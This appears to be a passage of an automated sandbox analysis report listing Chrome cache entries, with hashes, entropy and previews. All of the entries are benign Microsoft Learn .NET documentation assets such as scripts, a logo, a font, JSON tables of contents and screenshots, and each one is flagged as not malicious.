Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
